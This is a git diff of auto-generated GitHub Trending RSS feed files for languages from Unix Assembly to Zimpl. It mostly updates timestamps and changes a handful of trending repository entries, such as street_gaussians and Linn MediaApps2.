http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:28Z + 2024-01-06T01:42:07Z Daily Trending of Unix Assembly in GitHub \ No newline at end of file diff --git a/unknown/daily/index.xml b/unknown/daily/index.xml index 686197efcba..1cf086e955e 100644 --- a/unknown/daily/index.xml +++ b/unknown/daily/index.xml @@ -1,28 +1,14 @@ - GitHub Unknown languages Daily Trending + GitHub Unknown Languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:26:36Z - Daily Trending of Unknown languages in GitHub + 2024-01-06T01:25:31Z + Daily Trending of Unknown Languages in GitHub - Jack-bo1220/Awesome-Remote-Sensing-Foundation-Models - 2024-01-05T01:26:36Z - tag:github.com,2024-01-05:/Jack-bo1220/Awesome-Remote-Sensing-Foundation-Models - - <p></p><hr> - - - anisurrahman072/React-Native-Advanced-Guide - 2024-01-05T01:26:36Z - tag:github.com,2024-01-05:/anisurrahman072/React-Native-Advanced-Guide - - <p>React Native Advanced Guide Book (iOS & Android) - Be an Expert in 2024 ๐Ÿ”ฅ</p><hr> - - - MiAO-AI-Lab/LARP - 2024-01-05T01:26:36Z - tag:github.com,2024-01-05:/MiAO-AI-Lab/LARP - - <p></p><hr> + zju3dv/street_gaussians + 2024-01-06T01:25:31Z + tag:github.com,2024-01-06:/zju3dv/street_gaussians + + <p>Code for "Street Gaussians for Modeling Dynamic Urban Scenes"</p><hr> \ No newline at end of file diff --git a/uno/daily/index.xml b/uno/daily/index.xml index a6573488fde..62fd278c326 100644 --- a/uno/daily/index.xml +++ b/uno/daily/index.xml @@ -1,7 +1,7 @@ GitHub Uno Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:27Z + 2024-01-06T01:42:08Z Daily Trending of Uno in GitHub \ No newline at end of file diff --git a/unrealscript/daily/index.xml b/unrealscript/daily/index.xml index ce5acc4010e..2293825ff7f 100644 --- a/unrealscript/daily/index.xml +++ b/unrealscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub UnrealScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:32Z + 2024-01-06T01:42:10Z Daily Trending of UnrealScript in GitHub \ No newline at end of file diff --git a/urweb/daily/index.xml b/urweb/daily/index.xml index d1385973913..fa8b8aa0e2a 100644 --- a/urweb/daily/index.xml +++ b/urweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub UrWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:31Z + 2024-01-06T01:42:09Z Daily Trending of UrWeb in GitHub \ No newline at end of file diff --git a/v/daily/index.xml b/v/daily/index.xml index 69bf357cd67..486d2f5404e 100644 --- a/v/daily/index.xml +++ b/v/daily/index.xml @@ -1,7 +1,7 @@ GitHub V Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:33Z + 2024-01-06T01:42:12Z Daily Trending of V in GitHub \ No newline at end of file diff --git a/vala/daily/index.xml b/vala/daily/index.xml index 579b64b06a8..2470222912a 100644 --- a/vala/daily/index.xml +++ b/vala/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:35Z + 2024-01-06T01:42:11Z Daily Trending of Vala in GitHub \ No newline at end of file diff --git a/valve-data-format/daily/index.xml b/valve-data-format/daily/index.xml index 7ae83396fa9..d4f22db29a5 100644 --- a/valve-data-format/daily/index.xml +++ b/valve-data-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Valve Data Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:39Z + 2024-01-06T01:42:13Z Daily Trending of Valve Data Format in GitHub \ No newline at end of file diff --git a/vba/daily/index.xml b/vba/daily/index.xml index 94fb9cab393..43ea5fc7068 100644 --- a/vba/daily/index.xml +++ b/vba/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:37Z + 2024-01-06T01:42:13Z Daily Trending of VBA in GitHub \ No newline at end of file diff --git a/vbscript/daily/index.xml b/vbscript/daily/index.xml index 3ca4786d762..ee5503c18df 100644 --- a/vbscript/daily/index.xml +++ b/vbscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub VBScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:38Z + 2024-01-06T01:42:15Z Daily Trending of VBScript in GitHub \ No newline at end of file diff --git a/vcl/daily/index.xml b/vcl/daily/index.xml index 9310c8f5ebe..073096e3123 100644 --- a/vcl/daily/index.xml +++ b/vcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:36Z + 2024-01-06T01:42:14Z Daily Trending of VCL in GitHub \ No newline at end of file diff --git a/verilog/daily/index.xml b/verilog/daily/index.xml index 51b498a50a7..6054dbbd9f5 100644 --- a/verilog/daily/index.xml +++ b/verilog/daily/index.xml @@ -1,7 +1,14 @@ GitHub Verilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:44Z + 2024-01-06T01:42:17Z Daily Trending of Verilog in GitHub + + budude2/openfgpa-GBC + 2024-01-06T01:42:17Z + tag:github.com,2024-01-06:/budude2/openfgpa-GBC + + <p></p><hr> + \ No newline at end of file diff --git a/vhdl/daily/index.xml b/vhdl/daily/index.xml index c7128853b2d..463977ff043 100644 --- a/vhdl/daily/index.xml +++ b/vhdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub VHDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:42Z + 2024-01-06T01:42:19Z Daily Trending of VHDL in GitHub \ No newline at end of file diff --git a/vim-help-file/daily/index.xml b/vim-help-file/daily/index.xml index 757a04d1f36..52a157a9a56 100644 --- a/vim-help-file/daily/index.xml +++ b/vim-help-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Help File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:45Z + 2024-01-06T01:42:16Z Daily Trending of Vim Help File in GitHub \ No newline at end of file diff --git a/vim-script/daily/index.xml b/vim-script/daily/index.xml index 9d903c85de3..13c21e553a0 100644 --- a/vim-script/daily/index.xml +++ b/vim-script/daily/index.xml @@ -1,7 +1,21 @@ GitHub Vim Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:52Z + 2024-01-06T01:42:24Z Daily Trending of Vim Script in GitHub + + inotom/str2htmlentity + 2024-01-06T01:42:24Z + tag:github.com,2024-01-06:/inotom/str2htmlentity + + <p>Vim script to convert from HTML String to Entity.</p><hr> + + + adammiribyan/vimfiles + 2024-01-06T01:42:24Z + tag:github.com,2024-01-06:/adammiribyan/vimfiles + + <p></p><hr> + \ No newline at end of file diff --git a/vim-snippet/daily/index.xml b/vim-snippet/daily/index.xml index ae4bb286c3c..a3de519793b 100644 --- a/vim-snippet/daily/index.xml +++ b/vim-snippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vim Snippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:47Z + 2024-01-06T01:42:21Z Daily Trending of Vim Snippet in GitHub \ No newline at end of file diff --git a/visual-basic-.net/daily/index.xml b/visual-basic-.net/daily/index.xml index 2dcbd022310..637e9ec9a61 100644 --- a/visual-basic-.net/daily/index.xml +++ b/visual-basic-.net/daily/index.xml @@ -1,7 +1,7 @@ GitHub Visual Basic .NET Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:49Z + 2024-01-06T01:42:21Z Daily Trending of Visual Basic .NET in GitHub \ No newline at end of file diff --git a/volt/daily/index.xml b/volt/daily/index.xml index c7d9f1dbcc6..96dbfb86507 100644 --- a/volt/daily/index.xml +++ b/volt/daily/index.xml @@ -1,7 +1,7 @@ GitHub Volt Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:54Z + 2024-01-06T01:42:25Z Daily Trending of Volt in GitHub \ No newline at end of file diff --git a/vue/daily/index.xml b/vue/daily/index.xml index 7bf8e72f09e..a7c003ad3a1 100644 --- a/vue/daily/index.xml +++ b/vue/daily/index.xml @@ -1,14 +1,14 @@ GitHub Vue Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:59Z + 2024-01-06T01:42:28Z Daily Trending of Vue in GitHub - ZhiShuYun/HubFrontend - 2024-01-05T01:45:59Z - tag:github.com,2024-01-05:/ZhiShuYun/HubFrontend - - <p>้›†ๆˆ GPT ้—ฎ็ญ”ใ€Midjourney ็ป˜็”ป็ญ‰ไธ€็ซ™ๅผๆœๅŠก็š„็ณป็ปŸ</p><hr> + zammad/frontend-coding-test-ts + 2024-01-06T01:42:28Z + tag:github.com,2024-01-06:/zammad/frontend-coding-test-ts + + <p></p><hr> \ No newline at end of file diff --git a/vyper/daily/index.xml b/vyper/daily/index.xml index 76f750819c1..3400fd03df2 100644 --- a/vyper/daily/index.xml +++ b/vyper/daily/index.xml @@ -1,7 +1,7 @@ GitHub Vyper Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:45:55Z + 2024-01-06T01:42:26Z Daily Trending of Vyper in GitHub \ No newline at end of file diff --git a/wavefront-material/daily/index.xml b/wavefront-material/daily/index.xml index 5b9f070df1c..e5fdefab751 100644 --- a/wavefront-material/daily/index.xml +++ b/wavefront-material/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Material Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:03Z + 2024-01-06T01:42:29Z Daily Trending of Wavefront Material in GitHub \ No newline at end of file diff --git a/wavefront-object/daily/index.xml b/wavefront-object/daily/index.xml index f9da971f57e..a0e93585ad7 100644 --- a/wavefront-object/daily/index.xml +++ b/wavefront-object/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wavefront Object Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:00Z + 2024-01-06T01:42:30Z Daily Trending of Wavefront Object in GitHub \ No newline at end of file diff --git a/wdl/daily/index.xml b/wdl/daily/index.xml index baa40063c22..79e6b7a3a6e 100644 --- a/wdl/daily/index.xml +++ b/wdl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:01Z + 2024-01-06T01:42:31Z Daily Trending of WDL in GitHub \ No newline at end of file diff --git a/web-ontology-language/daily/index.xml b/web-ontology-language/daily/index.xml index 161ae55e899..88b3b13244a 100644 --- a/web-ontology-language/daily/index.xml +++ b/web-ontology-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Web Ontology Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:02Z + 2024-01-06T01:42:31Z Daily Trending of Web Ontology Language in GitHub \ No newline at end of file diff --git a/webassembly/daily/index.xml b/webassembly/daily/index.xml index d9bef5b19e2..480be10b591 100644 --- a/webassembly/daily/index.xml +++ b/webassembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebAssembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:07Z + 2024-01-06T01:42:34Z Daily Trending of WebAssembly in GitHub \ No newline at end of file diff --git a/webidl/daily/index.xml b/webidl/daily/index.xml index 025a1e1e410..d15c73ac4b4 100644 --- a/webidl/daily/index.xml +++ b/webidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:05Z + 2024-01-06T01:42:33Z Daily Trending of WebIDL in GitHub \ No newline at end of file diff --git a/webvtt/daily/index.xml b/webvtt/daily/index.xml index ef597c72054..000b8d59fc0 100644 --- a/webvtt/daily/index.xml +++ b/webvtt/daily/index.xml @@ -1,7 +1,7 @@ GitHub WebVTT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:08Z + 2024-01-06T01:42:32Z Daily Trending of WebVTT in GitHub \ No newline at end of file diff --git a/wget-config/daily/index.xml b/wget-config/daily/index.xml index 97e179f9ea1..1abc22d3da7 100644 --- a/wget-config/daily/index.xml +++ b/wget-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wget Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:12Z + 2024-01-06T01:42:37Z Daily Trending of Wget Config in GitHub \ No newline at end of file diff --git a/wikitext/daily/index.xml b/wikitext/daily/index.xml index d828fca5185..e680784c0a2 100644 --- a/wikitext/daily/index.xml +++ b/wikitext/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wikitext Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:11Z + 2024-01-06T01:42:36Z Daily Trending of Wikitext in GitHub \ No newline at end of file diff --git a/windows-registry-entries/daily/index.xml b/windows-registry-entries/daily/index.xml index 814b924181c..cf78cec29b6 100644 --- a/windows-registry-entries/daily/index.xml +++ b/windows-registry-entries/daily/index.xml @@ -1,7 +1,7 @@ GitHub Windows Registry Entries Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:15Z + 2024-01-06T01:42:39Z Daily Trending of Windows Registry Entries in GitHub \ No newline at end of file diff --git a/wisp/daily/index.xml b/wisp/daily/index.xml index da87a0a229e..38c7bf390c7 100644 --- a/wisp/daily/index.xml +++ b/wisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub wisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:14Z + 2024-01-06T01:42:40Z Daily Trending of wisp in GitHub \ No newline at end of file diff --git a/witcher-script/daily/index.xml b/witcher-script/daily/index.xml index 5a3dc2328e4..7d44666cb8c 100644 --- a/witcher-script/daily/index.xml +++ b/witcher-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Witcher Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:13Z + 2024-01-06T01:42:40Z Daily Trending of Witcher Script in GitHub \ No newline at end of file diff --git a/wollok/daily/index.xml b/wollok/daily/index.xml index 9d581e3d958..19e81fd2a0b 100644 --- a/wollok/daily/index.xml +++ b/wollok/daily/index.xml @@ -1,7 +1,7 @@ GitHub Wollok Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:17Z + 2024-01-06T01:42:42Z Daily Trending of Wollok in GitHub \ No newline at end of file diff --git a/world-of-warcraft-addon-data/daily/index.xml b/world-of-warcraft-addon-data/daily/index.xml index fdd5dede548..c273f96e71c 100644 --- a/world-of-warcraft-addon-data/daily/index.xml +++ b/world-of-warcraft-addon-data/daily/index.xml @@ -1,7 +1,7 @@ GitHub World of Warcraft Addon Data Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:17Z + 2024-01-06T01:42:44Z Daily Trending of World of Warcraft Addon Data in GitHub \ No newline at end of file diff --git a/x-bitmap/daily/index.xml b/x-bitmap/daily/index.xml index b29d959b2f5..81bcc65bf64 100644 --- a/x-bitmap/daily/index.xml +++ b/x-bitmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X BitMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:19Z + 2024-01-06T01:42:43Z Daily Trending of X BitMap in GitHub \ No newline at end of file diff --git a/x-font-directory-index/daily/index.xml b/x-font-directory-index/daily/index.xml index d32862b17a9..2a76911827e 100644 --- a/x-font-directory-index/daily/index.xml +++ b/x-font-directory-index/daily/index.xml @@ -1,7 +1,7 @@ GitHub X Font Directory Index Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:21Z + 2024-01-06T01:42:46Z Daily Trending of X Font Directory Index in GitHub \ No newline at end of file diff --git a/x-pixmap/daily/index.xml b/x-pixmap/daily/index.xml index 80bcff140de..203ad8067ff 100644 --- a/x-pixmap/daily/index.xml +++ b/x-pixmap/daily/index.xml @@ -1,7 +1,7 @@ GitHub X PixMap Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:23Z + 2024-01-06T01:42:47Z Daily Trending of X PixMap in GitHub \ No newline at end of file diff --git a/x10/daily/index.xml b/x10/daily/index.xml index f8e101fd97c..b29a18276ea 100644 --- a/x10/daily/index.xml +++ b/x10/daily/index.xml @@ -1,7 +1,7 @@ GitHub X10 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:20Z + 2024-01-06T01:42:46Z Daily Trending of X10 in GitHub \ No newline at end of file diff --git a/xbase/daily/index.xml b/xbase/daily/index.xml index b11044c4e96..4fc1aaa52f2 100644 --- a/xbase/daily/index.xml +++ b/xbase/daily/index.xml @@ -1,7 +1,7 @@ GitHub xBase Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:22Z + 2024-01-06T01:42:45Z Daily Trending of xBase in GitHub \ No newline at end of file diff --git a/xc/daily/index.xml b/xc/daily/index.xml index 4562d1cb5e5..ef95a05581b 100644 --- a/xc/daily/index.xml +++ b/xc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:25Z + 2024-01-06T01:42:48Z Daily Trending of XC in GitHub \ No newline at end of file diff --git a/xcompose/daily/index.xml b/xcompose/daily/index.xml index 8ee039954d5..1d6b86f2453 100644 --- a/xcompose/daily/index.xml +++ b/xcompose/daily/index.xml @@ -1,7 +1,7 @@ GitHub XCompose Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:24Z + 2024-01-06T01:42:50Z Daily Trending of XCompose in GitHub \ No newline at end of file diff --git a/xml-property-list/daily/index.xml b/xml-property-list/daily/index.xml index 628f2262782..fe9f2817e11 100644 --- a/xml-property-list/daily/index.xml +++ b/xml-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:26Z + 2024-01-06T01:42:49Z Daily Trending of XML Property List in GitHub \ No newline at end of file diff --git a/xml/daily/index.xml b/xml/daily/index.xml index 29d8582c860..59f09cc2ff1 100644 --- a/xml/daily/index.xml +++ b/xml/daily/index.xml @@ -1,7 +1,7 @@ GitHub XML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:27Z + 2024-01-06T01:42:50Z Daily Trending of XML in GitHub \ No newline at end of file diff --git a/xojo/daily/index.xml b/xojo/daily/index.xml index 202814d5cc0..6f00e534a26 100644 --- a/xojo/daily/index.xml +++ b/xojo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xojo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:29Z + 2024-01-06T01:42:53Z Daily Trending of Xojo in GitHub \ No newline at end of file diff --git a/xonsh/daily/index.xml b/xonsh/daily/index.xml index 15b74930a60..ea3aae69572 100644 --- a/xonsh/daily/index.xml +++ b/xonsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xonsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:30Z + 2024-01-06T01:42:52Z Daily Trending of Xonsh in GitHub \ No newline at end of file diff --git a/xpages/daily/index.xml b/xpages/daily/index.xml index 06cce0e4bed..f515c937195 100644 --- a/xpages/daily/index.xml +++ b/xpages/daily/index.xml @@ -1,7 +1,7 @@ GitHub XPages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:28Z + 2024-01-06T01:42:53Z Daily Trending of XPages in GitHub \ No newline at end of file diff --git a/xproc/daily/index.xml b/xproc/daily/index.xml index 4e8fdbb48b7..99cc793259f 100644 --- a/xproc/daily/index.xml +++ b/xproc/daily/index.xml @@ -1,7 +1,7 @@ GitHub XProc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:30Z + 2024-01-06T01:42:51Z Daily Trending of XProc in GitHub \ No newline at end of file diff --git a/xquery/daily/index.xml b/xquery/daily/index.xml index 4fce5645ad3..ee0fe225c9d 100644 --- a/xquery/daily/index.xml +++ b/xquery/daily/index.xml @@ -1,7 +1,7 @@ GitHub XQuery Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:32Z + 2024-01-06T01:42:56Z Daily Trending of XQuery in GitHub \ No newline at end of file diff --git a/xs/daily/index.xml b/xs/daily/index.xml index 6993d430198..04ab4ac7be8 100644 --- a/xs/daily/index.xml +++ b/xs/daily/index.xml @@ -1,7 +1,7 @@ GitHub XS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:35Z + 2024-01-06T01:42:55Z Daily Trending of XS in GitHub \ No newline at end of file diff --git a/xslt/daily/index.xml b/xslt/daily/index.xml index ac6d763039e..427529decfb 100644 --- a/xslt/daily/index.xml +++ b/xslt/daily/index.xml @@ -1,7 +1,14 @@ GitHub XSLT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:35Z + 2024-01-06T01:42:57Z Daily Trending of XSLT in GitHub + + linnoss/MediaApps2 + 2024-01-06T01:42:57Z + tag:github.com,2024-01-06:/linnoss/MediaApps2 + + <p>Media Apps used by Linn Songbox (phase 2)</p><hr><h1>MediaApps2</h1> <p>This repository contains the Media Apps that are used by Linn Songbox (phase 2) to proxy web-based media in the home.</p> <p>Each Media App is an XSL file that is used to collect up to date information from a range of websites and web services.</p> + \ No newline at end of file diff --git a/xtend/daily/index.xml b/xtend/daily/index.xml index 6c24cf35f34..36c8d8c31ae 100644 --- a/xtend/daily/index.xml +++ b/xtend/daily/index.xml @@ -1,7 +1,7 @@ GitHub Xtend Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:33Z + 2024-01-06T01:42:55Z Daily Trending of Xtend in GitHub \ No newline at end of file diff --git a/yacc/daily/index.xml b/yacc/daily/index.xml index c90058c9ba3..2e328cac100 100644 --- a/yacc/daily/index.xml +++ b/yacc/daily/index.xml @@ -1,7 +1,7 @@ GitHub Yacc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:36Z + 2024-01-06T01:43:01Z Daily Trending of Yacc in GitHub \ No newline at end of file diff --git a/yaml/daily/index.xml b/yaml/daily/index.xml index eb06519b199..3eb282fadc6 100644 --- a/yaml/daily/index.xml +++ b/yaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub YAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:39Z + 2024-01-06T01:43:00Z Daily Trending of YAML in GitHub \ No newline at end of file diff --git a/yang/daily/index.xml b/yang/daily/index.xml index e3e707e99e6..573d6efee43 100644 --- a/yang/daily/index.xml +++ b/yang/daily/index.xml @@ -1,7 +1,7 @@ GitHub YANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:38Z + 2024-01-06T01:42:59Z Daily Trending of YANG in GitHub \ No newline at end of file diff --git a/yara/daily/index.xml b/yara/daily/index.xml index be5e380198d..31d0427d097 100644 --- a/yara/daily/index.xml +++ b/yara/daily/index.xml @@ -1,7 +1,7 @@ GitHub YARA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:37Z + 2024-01-06T01:43:02Z Daily Trending of YARA in GitHub \ No newline at end of file diff --git a/yasnippet/daily/index.xml b/yasnippet/daily/index.xml index 73ad7dbbad6..7c513fc566f 100644 --- a/yasnippet/daily/index.xml +++ b/yasnippet/daily/index.xml @@ -1,7 +1,7 @@ GitHub YASnippet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:41Z + 2024-01-06T01:43:03Z Daily Trending of YASnippet in GitHub \ No newline at end of file diff --git a/zap/daily/index.xml b/zap/daily/index.xml index fa037c38417..67792d50f39 100644 --- a/zap/daily/index.xml +++ b/zap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:42Z + 2024-01-06T01:43:05Z Daily Trending of ZAP in GitHub \ No newline at end of file diff --git a/zeek/daily/index.xml b/zeek/daily/index.xml index db05d892743..6c896837b13 100644 --- a/zeek/daily/index.xml +++ b/zeek/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zeek Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:41Z + 2024-01-06T01:43:04Z Daily Trending of Zeek in GitHub \ No newline at end of file diff --git a/zenscript/daily/index.xml b/zenscript/daily/index.xml index ac71695b85c..ef048abc718 100644 --- a/zenscript/daily/index.xml +++ b/zenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:44Z + 2024-01-06T01:43:06Z Daily Trending of ZenScript in GitHub \ No newline at end of file diff --git a/zephir/daily/index.xml b/zephir/daily/index.xml index 095bb8b0208..7a7dd51760b 100644 --- a/zephir/daily/index.xml +++ b/zephir/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zephir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:46Z + 2024-01-06T01:43:08Z Daily Trending of Zephir in GitHub \ No newline at end of file diff --git a/zig/daily/index.xml b/zig/daily/index.xml index 77fd57425d2..5c01392887b 100644 --- a/zig/daily/index.xml +++ b/zig/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:48Z + 2024-01-06T01:43:07Z Daily Trending of Zig in GitHub \ No newline at end of file diff --git a/zil/daily/index.xml b/zil/daily/index.xml index 1b5e92261e9..4dacea06b31 100644 --- a/zil/daily/index.xml +++ b/zil/daily/index.xml @@ -1,7 +1,7 @@ GitHub ZIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:45Z + 2024-01-06T01:43:06Z Daily Trending of ZIL in GitHub \ No newline at end of file diff --git a/zimpl/daily/index.xml b/zimpl/daily/index.xml index 7b60f53c3eb..13d644604c5 100644 --- a/zimpl/daily/index.xml +++ b/zimpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Zimpl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:46:49Z + 2024-01-06T01:43:09Z Daily Trending of Zimpl in GitHub \ No newline at end of file